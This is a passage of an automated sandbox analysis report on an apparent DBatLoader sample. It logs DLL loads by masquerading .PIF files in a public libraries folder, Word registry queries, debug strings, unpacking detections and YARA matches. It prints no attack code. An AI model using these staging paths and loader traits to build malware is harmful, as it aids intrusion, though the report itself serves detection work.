              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: wldp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: kernel.appcore.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: propsys.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: amsi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: smartscreenps.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: winmm.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: wininet.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sspicli.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: profapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ondemandconnroutehelper.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ieproxy.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: mswsock.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ieproxy.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ieproxy.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: iphlpapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: winnsi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: mssip32.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: mssip32.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: mssip32.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ???.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ???.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ???.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ??l.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ??l.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ??l.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ????.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ???e???????????.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ???e???????????.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ??l.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ??l.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: tquery.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: cryptdll.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: spp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: vssapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: vsstrace.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: spp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: vssapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: vsstrace.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: mssip32.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: endpointdlp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: endpointdlp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: endpointdlp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: endpointdlp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: advapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: advapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: advapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: advapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: advapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: advapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: advapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: spp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: vssapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: vsstrace.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppwmi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: slc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppcext.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: winscard.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: devobj.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: cryptsp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: rsaenh.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: cryptbase.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: kernel.appcore.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: uxtheme.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: mscoree.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: vcruntime140_clr0400.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ucrtbase_clr0400.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ucrtbase_clr0400.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: wldp.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: amsi.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: userenv.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: profapi.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: version.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: gpapi.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: cryptsp.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: rsaenh.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: cryptbase.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: windows.storage.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: rasapi32.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: rasman.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: rtutils.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: mswsock.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: winhttp.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ondemandconnroutehelper.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: iphlpapi.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: dhcpcsvc6.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: dhcpcsvc.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: dnsapi.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: winnsi.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: rasadhlp.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: fwpuclnt.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: secur32.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: sspicli.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: schannel.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: mskeyprotect.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ntasn1.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ncrypt.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ncryptsslp.dll
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: dpapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: version.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: uxtheme.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: url.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ieframe.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: iertutil.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: netapi32.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: userenv.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: winhttp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: wkscli.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: netutils.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: windows.storage.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: wldp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: kernel.appcore.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: propsys.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: amsi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: smartscreenps.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: winmm.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: wininet.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sspicli.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: profapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ondemandconnroutehelper.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: mswsock.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ieproxy.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ieproxy.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ieproxy.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: iphlpapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: winnsi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: mssip32.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: mssip32.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: mssip32.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: msasn1.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ???.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ???.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ???.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: am.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ??l.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ??l.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ??l.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ????.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ???e???????????.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ???e???????????.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ?.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ??l.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ??l.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: sppc.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: tquery.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: cryptdll.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: spp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: vssapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: vsstrace.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: spp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: vssapi.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: vsstrace.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: mssip32.dll
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\InprocServer32Jump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\CommonJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dllJump to behavior
              Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.00000000205D0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmp
              Source: Binary string: easinvoker.pdb source: brightness.exe, 00000004.00000002.1883329411.00000000205D0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1830497059.000000007F330000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.000000002061C000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000205E0000.00000004.00001000.00020000.00000000.sdmp, svchost.pif.4.dr
              Source: Binary string: _.pdb source: npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: easinvoker.pdbGCTL source: brightness.exe, 00000004.00000002.1883329411.00000000205D0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1851940223.0000000021362000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1830497059.000000007F330000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1851940223.0000000021391000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.000000002061C000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000205E0000.00000004.00001000.00020000.00000000.sdmp, svchost.pif.4.dr

              Data Obfuscation

              barindex
              Detected unpacking (changes PE section rights)
              Source: C:\Users\Public\Libraries\npratlsN.pifUnpacked PE file: 10.2.npratlsN.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
              Source: C:\Users\Public\Libraries\npratlsN.pifUnpacked PE file: 14.2.npratlsN.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
              Source: C:\Users\Public\Libraries\npratlsN.pifUnpacked PE file: 16.2.npratlsN.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
              Detected unpacking (overwrites its own PE header)
              Source: C:\Users\Public\Libraries\npratlsN.pifUnpacked PE file: 10.2.npratlsN.pif.400000.0.unpack
              Source: C:\Users\Public\Libraries\npratlsN.pifUnpacked PE file: 14.2.npratlsN.pif.400000.0.unpack
              Source: C:\Users\Public\Libraries\npratlsN.pifUnpacked PE file: 16.2.npratlsN.pif.400000.0.unpack
              Yara detected DBatLoader
              Source: Yara matchFile source: 4.2.brightness.exe.2274618.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.brightness.exe.2274618.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.brightness.exe.28f0000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000004.00000002.1892098003.000000007FD70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.1863488781.0000000002274000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: svchost.pif.4.drStatic PE information: 0xA57E43AD [Tue Dec 25 14:18:21 2057 UTC]
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02908818 LoadLibraryW,GetProcAddress,FreeLibrary,4_2_02908818
              Source: initial sampleStatic PE information: section where entry point is pointing to: .
              Source: Nsltarpn.PIF.4.drStatic PE information: real checksum: 0x0 should be: 0x163853
              Source: NETUTILS.dll.4.drStatic PE information: real checksum: 0x273f3 should be: 0x26a85
              Source: brightness.exe.0.drStatic PE information: real checksum: 0x0 should be: 0x163853
              Source: svchost.pif.4.drStatic PE information: section name: .imrsiv
              Source: svchost.pif.4.drStatic PE information: section name: .didat
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
